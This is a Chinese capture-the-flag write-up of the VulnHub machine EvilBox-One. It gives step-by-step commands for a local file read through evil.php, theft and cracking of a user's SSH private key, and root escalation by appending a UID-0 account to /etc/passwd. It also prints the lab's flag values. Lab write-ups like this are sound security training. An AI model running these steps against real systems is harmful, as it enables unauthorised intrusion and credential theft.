『vulnhub系列』EVILBOX-ONE

下载地址:

https://www.vulnhub.com/entry/evilbox-one,736/

信息搜集:

使用nmap探测内网存活主机,发现开启了22 和 80端口

nmap 192.168.0.*

访问80端口web服务,发现apache默认页面

使用dirsearch进行目录爆破

dirsearch -u "http://192.168.0.131"

访问/robots.txt发现一句话,H4x0r 可能是用户名或密码

Hello H4x0r

访问/secret/ 发现是空白,我们来扫描这个目录,发现没有结果

我们可以尝试换个工具和字典

gobuster dir -u "http://192.168.0.131/secret/" -w /usr/share/wordlists/dirb/big.txt -x .php
  • -u 目标url
  • -w wordlist字典
  • -x 文件后缀

不知道为什么使用dirb用同样的字典和指定php爆破不出来

dirsearch -e php -w /usr/share/wordlists/dirb/big.txt -u "http://192.168.0.131/secret/"

最后发现evli.php,但是发现页面还是空的

接下来使用工具ffuf进行爆破参数,最后得到参数为command

ffuf -u 'http://192.168.0.131/secret/evil.php?FUZZ=../../../../etc/passwd' -w "/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt" -fs 0
  • -fs 0 过滤大小为0
  • FUZZ为字典爆破字段
  • ../../../../etc/passwd因为不确定是命令执行还是任意文件读取,可以用随意命令爆破,和足够多的../../../。。。。/etc/passwd来确定

漏洞利用:

因为刚刚那个,可能是密码,所以我们正好读取/etc/passwd

查看页面源代码,可以换行,发现用户名为mowree

使用mowree来登录H4x0r 为密码,发现登录失败,看来没这么简单,继续使用任意文件读取

众所周知,我们除了使用密码登录ssh以外,还可以使用证书,而证书的私钥一般储存的位置

/home/xxx/.ssh/id_rsaxxx 为用户名,我们使用任意文件读取发现确实存在

command=../../../../home/mowree/.ssh/id_rsa

拷贝下来,使用ssh2john工具将id_rsa转化为john可以是识别的hash

ssh2john id_rsa > hash #将hash值输出到hash文件中

再使用john来破解密码,得到密码unicorn

john hash --wordlist=rockyou.txt #使用wordlist(字典)破解,这里的字典是
#/usr/share/wordlists/里的rockyou需要解压一下

此时使用私钥登录,结果发现有警告,并且需要输入mowree的密码

ssh -i id_rsa mowree@192.168.0.131

原因是,id_rsa的默认权限为700,所以会出现告警。因此我们将id_rsa的权限修改为700

chmod 700 id_rsa

此时登录,输入unicorn 即可登陆成功

提升权限:(passwd提权)

查看所有既有SUID权限的文件,没有发现异常

find / -perm -u=s -type f 2>/dev/null

使用命令查看用户可以以root权限运行的命令,发现没有这个命令

sudo -l

最后发现此用户对/etc/passwd具有写权限,那么这里就可以使用passwd提权

拿root在passwd中的条目依次来看

root:x:0:0:root:/root:/bin/bash
  • root:用户名
  • x:有密码,本来是放加密后的密码的,但后来都放入shadow中了,但也依旧支持此处是加密后的密码
  • 0:用户UID为0
  • 0:用户组GID为0
  • root:用户备注信息
  • /root:用户home目录
  • /bin/bash:用户默认的bash

因此,现在我们在对passwd有写权限后,我们完全构造一个类似的root用户,我们个给passwd追加一个用户,那么现在首要就是生成一个加密后的密码(加盐值),这里使用pyhton来生成

python3 -c 'import crypt;print(crypt.crypt("123456","addsalt"))'

#生成加盐值的密码
adrla7IBSfTZQ

现在我们来构造一个用户

test:adrla7IBSfTZQ:0:0:root:/root:/bin/bash

然后追加到passwd中:

echo "test:adrla7IBSfTZQ:0:0:root:/root:/bin/bash" >> /etc/passwd

查看一下发现添加成功

我们此时切换为test用户看一下,获得root权限

成果:

登录mowree用户后在目录下发现user.txt

56Rbp0soobpzWSVzKh9YOvzGLgtPZQ

获得root权限后,在其目录下发现root.txt

36QtXfdJWvdC0VavlPIApUbDlqTsBM

『vulnhub系列』EVILBOX-ONE的更多相关文章

  1. 『GreenPlum系列』GreenPlum 4节点集群安装(图文教程)

      目标架构如上图   一.硬件评估 cpu主频,核数推荐CPU核数与磁盘数的比例在12:12以上Instance上执行时只能利用一个CPU核资源进行计算,推荐高主频 内存容量 网络带宽重分布操作 R ...

  2. Istio 运维实战系列(2):让人头大的『无头服务』-上

    本系列文章将介绍用户从 Spring Cloud,Dubbo 等传统微服务框架迁移到 Istio 服务网格时的一些经验,以及在使用 Istio 过程中可能遇到的一些常见问题的解决方法. 什么是『无头服 ...

  3. Istio 运维实战系列(3):让人头大的『无头服务』-下

    本系列文章将介绍用户从 Spring Cloud,Dubbo 等传统微服务框架迁移到 Istio 服务网格时的一些经验,以及在使用 Istio 过程中可能遇到的一些常见问题的解决方法. 失败的 Eur ...

  4. 『高性能模型』HetConv: HeterogeneousKernel-BasedConvolutionsforDeepCNNs

    论文地址:HetConv 一.现有网络加速技术 1.卷积加速技术 作者对已有的新型卷积划分如下:标准卷积.Depthwise 卷积.Pointwise 卷积.群卷积(相关介绍见『高性能模型』深度可分离 ...

  5. 『TensorFlow Internals』笔记_源码结构

    零.资料集合 知乎专栏:Bob学步 知乎提问:如何高效的学习 TensorFlow 代码?. 大佬刘光聪(Github,简书) 开源书:TensorFlow Internals,强烈推荐(本博客参考书 ...

  6. 『深度应用』NLP机器翻译深度学习实战课程·壹(RNN base)

    深度学习用的有一年多了,最近开始NLP自然处理方面的研发.刚好趁着这个机会写一系列NLP机器翻译深度学习实战课程. 本系列课程将从原理讲解与数据处理深入到如何动手实践与应用部署,将包括以下内容:(更新 ...

  7. 关于『进击的Markdown』:第一弹

    关于『进击的Markdown』:第一弹 建议缩放90%食用 比起隐蔽物下的狙击手,Markdown更像冲锋陷阵的阵头兵 简单.粗暴.直接.而且好上手 各位晚上好! 早饭吃了吗您 我 今 天 没 吃 M ...

  8. 关于『进击的Markdown』:第五弹

    关于『进击的Markdown』:第五弹 建议缩放90%食用 路漫漫其修远兮,吾将上下而求索.  我们要接受Mermaid的考验了呢  Markdown 语法真香(一如既往地安利) ( 进击吧!Mark ...

  9. 关于『进击的Markdown』:第四弹

    关于『进击的Markdown』:第四弹 建议缩放90%食用 美人鱼(Mermaid)悄悄的来,又悄悄的走,挥一挥匕首,不留一个活口 又是漫漫画图路... 女士们先生们,大家好!  我们要接受Markd ...

  10. 关于『进击的Markdown』:第三弹

    关于『进击的Markdown』:第三弹 建议缩放90%食用 我与神明画押,赌这弹markdown又双叒叕拖稿了 %%%Markdown!我的CSDN编辑器崩了呜呜呜 各路英雄豪杰,大家好!  我们要开 ...

随机推荐

  1. SpringBoot-RSA加密

    前言 最近由于工作业务的需要,需要对指定的字段信息进行非对称加解密:由于需要加密的内容过于庞大:自己执行程序会出现:Data must not be longer than 117 bytes 的异常 ...

  2. vue和react的相同点和不同点

    Vue和React作为现代前端开发中流行的两个JavaScript框架,它们有诸多相似之处,同时也存在一些关键性的不同.以下是Vue和React的一些主要相同点和不同点: 相同点: 虚拟DOM:Vue ...

  3. uniapp中OnShow获取缓存

    点击查看代码 function getStorage(key) { return new Promise((resolve, reject) => { uni.getStorage({ key: ...

  4. C#实现图片转Base64字符串.并支持markdown文件打开展示

    引用1.0.3版本或以上的Wesky.Net.OpenTools 包 1.0.3 版本提供图片转Base64字符串方案,并提供根据后缀名自动识别Mime类型,合成标准URI 开源项目地址: Gitee ...

  5. java学习之旅(day.18)

    网络编程 概述 计算机网络:自己百度吧 网络编程的目的:传播交流信息.数据交换.通信 想要达到这个效果需要什么: 如何准确的定位网络上的一台主机 端口 定位到这个计算机上的某个资源 找到了这个主机,如 ...

  6. MySQL慢查询及优化

    最近做一个CRM系统,发现了慢查询日志里记载了许多的慢sql,于是就对其进行了sql优化.在优化的过程中,自己也归纳整理了一些sql优化的方案.今天就来和大家聊聊. **1.慢查询的分析** 常见的分 ...

  7. Gitea 代码仓库平台

    引言 Gitea 是一个自己托管的 Git 服务程序.他和 GitHub,Bitbucket or Gitlab 等比较类似.它是从 Gogs 发展而来,不过它已经 Fork 并且命名为 Gitea. ...

  8. Django 的 ORM

    Django 的 ORM: 注意: 需要提前创建好数据库,Django不会自动创建数据库

  9. HTML——input之密码框

    在 HTML 中,把 <input> 标签的 type 属性设置为 password 可以表示密码框.具体语法格式如下: <input type="password&quo ...

  10. 【终极指南】使用Python可视化分析文本情感倾向

    本文分享自华为云社区<Python理解文本情感倾向的终极指南>,作者: 柠檬味拥抱. 情感分析是一种通过自然语言处理技术来识别.提取和量化文本中的情感倾向的方法.Python在这一领域有着 ...